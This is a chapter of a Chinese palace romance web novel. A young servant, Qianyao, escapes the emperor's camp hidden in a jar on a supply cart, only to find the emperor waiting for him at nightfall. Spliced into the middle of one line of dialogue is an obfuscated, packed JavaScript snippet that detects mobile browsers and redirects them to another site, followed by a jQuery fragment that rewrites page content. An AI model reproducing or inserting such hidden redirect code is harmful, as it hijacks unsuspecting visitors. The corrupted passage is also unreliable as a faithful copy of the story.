“不许哭。”小穗子说着头一次伸手捏了捏他的脸,“你马上就自由了,要开心。” “嗯。”千尧重重点了点头。 因为有了小穗子的安慰,千尧的心里安定了不少,回去的时候整个人终于平静了下来。 他回来的时候狗皇帝还没回来,千尧原本想坐在椅子上等他,但是昨晚没睡好,今天又奔波了一天,刚坐下没多久就睡了过去。 再次醒来是千尧感觉到有人抱起了自己。 他迷迷糊糊地睁开眼,然后看见了黑红色的龙袍。 千尧整个人瞬间清醒,抬起头就见自己正窝在狗皇帝的怀里。 “陛……陛下。”千尧连忙叫道。 “醒了?”面前的人闻言低下了头,见他醒了,将他在床上放下。 然后伸出了手,千尧见状瞬间明白了他的意思,起身替他更衣。 现在千尧对这些已经得心应手,因此很快就脱了下来,然后伺候他就寝。 见狗皇帝躺下后,千尧也连忙脱了外衣和中衣,爬上床在他身边躺下,然后把手递了过去。 千尧困极,因此刚躺下就闭上了眼睛,然而狗皇帝今日不知为何格外精神,一直没有睡觉,只是有一搭没一搭地把玩着他的手指。 千尧困到眼睛都睁不开了,因此并没有理会,然而就在他快睡着的时候,却听身旁的人突然开口道:“千尧。” 狗皇帝很少叫他的名字,因此千尧骤然听到这个称呼很是怪异,浑身一激灵,连忙问道:“陛下?您有什么吩咐?” 然而身旁的人却并没有回答他,只是轻轻捏着他的手指,许久才道:“朕待你好吗?” 千尧听到这个问题有些不明所以,但还是立刻回了句,“好。” “真心的吗?”身旁的人继续问道。 “自然是真心,陛下对奴才真的很好。”千尧硬着头皮回道。 身旁的人闻言再次沉默了下去。 这次沉默的时间太久,久到千尧快要再次睡过去。 然而就在这时,又听身旁的人道:“那就永远留在朕的身边,好不好?” “……好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14832326|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”睡意朦胧间,千尧迷迷糊糊地回道。 - 第二日一早。 千尧醒来后便做出一副难受的样子。 皇帝很快发现了他的不对劲,问道:“怎么了?” “有些难受。”千尧痛苦道。 “请太医。”皇帝闻言立刻吩咐道。 千尧一听连忙道:“陛下,不用劳烦太医,奴才休息一下就好。” 话音刚落就见面前的人沉默了下去。 千尧见他没了声音,有些不确定自己是不是惹恼了他,连忙抬起头,然后就见面前的人正望着自己,异色的眸子淡淡的,看不出任何情绪。 许久,他才回了一句,“好。” 千尧这才松了口气,如愿以偿留在营帐里。 待皇帝走后,千尧这才低着头向外走去。 宫人无人不知他盛宠,因此虽然宫人不能随意走动,但并没有人敢拦他,因此千尧一路畅通无阻地来到了随侍的膳司。 此时天色未亮,正是膳司第二波送菜和采买的时候。 即使是出游,随侍的人也极多,除了每日会有特定人的来送所需,膳司每日也要分几次出去采买,确保皇帝和大臣们享用的是最新鲜的食物,所以陆砚洲买通了其中一位送菜的马夫,让他可以随车出去。 千尧刚一过来就被小穗子拉到僻静处,脱下了身上扎眼的御前服侍,换上了最不起眼的一身布衣,然后来到了今日来送菜的马车前。 这会儿还没出发,因此马车前并没有人,只放了几个半人高的坛子,看起来又闷又沉,千尧瞬间明白了小穗子的意思。 刚准备上去,千尧突然想起了什么,转过身来最后一次抱了小穗子。 “保重。” “你也是,你们一定要好好的,阿尧。” “嗯。” 千尧说完便钻了进去,小穗子则帮他盖好了盖子。 这坛子也不知原来装的什么,一股怪味,尤其是盖上盖子后更加明显,因此千尧只能屏住呼吸,希望赶紧出去。 很快,他就感觉到马车晃晃悠悠地动了起来。 车上的东西重,因此马车走得很慢,坛子不算大,里面的氧气很快就要耗完,所以千尧只能拼命压缩着自己呼吸的次数,祈祷赶紧离开这里。 但马车依旧悠哉悠哉,千尧很快便觉得有些缺氧,想要打开罐子透气,但他也明白自己一旦这么做了,一切都会前功尽弃,因此只能逼着自己忍耐下去。 拼命想着接下来会发生的事来转移注意力。 今日陆砚洲不当值,可以休息,会把他的衣服洒上鲜血和监牢里弄来的特意处理过的碎肉人骨扔进山林,做出被野兽掳走吃掉的假象。 毕竟虽然围场的野兽都被驯化过,但野兽毕竟是野兽,往年也发生过吃掉宫人的事。 接下来就是将自己先送离鄢都,等一切平静后陆砚洲会想办法辞去御前侍卫一职,和他彻底离开这里。 应该可行吧,千尧开始在脑海中复盘着他们的计划。 还没等他想完,就到了第一处可能暴露的位置,围场门口的守卫。 只要是皇帝周围,守卫都格外严格,进出皆会盘查。 虽然陆砚洲给了马夫足够的“过关”银子,但千尧听到守卫的声音,一颗心还是立刻悬起。 然而没想到的是下一秒却听侍卫道:“走走走,赶紧过去。” “今日不盘查了吗?” “几个破罐子有什么好查的,赶紧滚。” “是是是。”马夫一听,立刻驾车。 千尧没想到这么顺利,重重呼吸了一口,但很快便意识到此时的处境,连忙捂住了口鼻。 过了关卡后便渐渐没了人声。 不知过了多久,头顶的盖子终于被打开了一条缝隙,新鲜的空气涌入,千尧仿佛溺水之人一般连忙把头凑到了罐口,拼命大口大口地呼吸。 马夫见状连忙小声道:“小公公,你再忍忍,等到了僻静处你就能出来了。” 马夫说完便回去继续赶车。 有了新鲜空气后千尧终于重新活了过来,也没那么急迫,借着头顶的那一道缝隙向外看去。 天亮了。 他居然真的就这么出来了,简直顺利得有些不可思议。 千尧很难描述这一刻的心情,灵魂仿佛被抽离,只是靠着身后的罐子,一瞬不瞬地望着头顶。 马车摇摇晃晃,走了很久很久,借着头顶的那一道缝隙,千尧可以看到外面的景色由明到暗。 天色再次黑了下来。 整整一天已经过去。 陛下应该已经发现他“死”了吧,千尧想。 他会是什么反应? 正想得入神,千尧突然感觉到摇摇晃晃的马车停了下来。 到了吗? 千尧抬手掀开罐子,微微探出头去。 然后他就见坐在最前面赶车的马夫泥塑一般僵在了原地,而不远处着火一般灯火通明。 千尧抬头看去,然后就见不远处不知何时多了一队身穿黑色侍卫服的人马,两侧是一排又一排的侍卫手持火把肃穆站立。 而所有人的最前面,是一匹红棕色的汗血宝马,马背上坐着身穿黑红色骑射服的年轻帝王,他的目光不偏不倚地看了过来,正望着自己。